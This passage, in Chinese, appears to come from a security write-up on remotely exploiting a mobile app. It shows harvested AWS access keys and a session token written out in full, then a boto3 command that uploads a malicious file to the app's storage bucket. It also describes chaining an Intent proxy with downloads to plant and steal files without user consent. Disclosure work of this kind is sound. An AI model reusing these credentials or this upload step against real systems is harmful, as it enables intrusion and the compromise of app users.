所收集到的 key 和 secret 可用于上传恶意文件:

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')          

随后,我们可以将 Intent 代理功能与下载功能串联起来,在用户不知情或未同意的情况下将文件下载到设备上。

示意图
Attack Schema

结论

本文展示了如何将多个漏洞串联起来,从而远程利用一款移动应用。文件可以在用户不知情或未同意的情况下,作为被植入的文件从设备中窃取出来。

我们还发现了若干安全缺陷,从明文流量到硬编码密码,再到不安全的加密算法。

令人担忧的是,这类存在漏洞的应用竟能触达如此众多的用户,同时却对用户的安全与隐私如此漠视。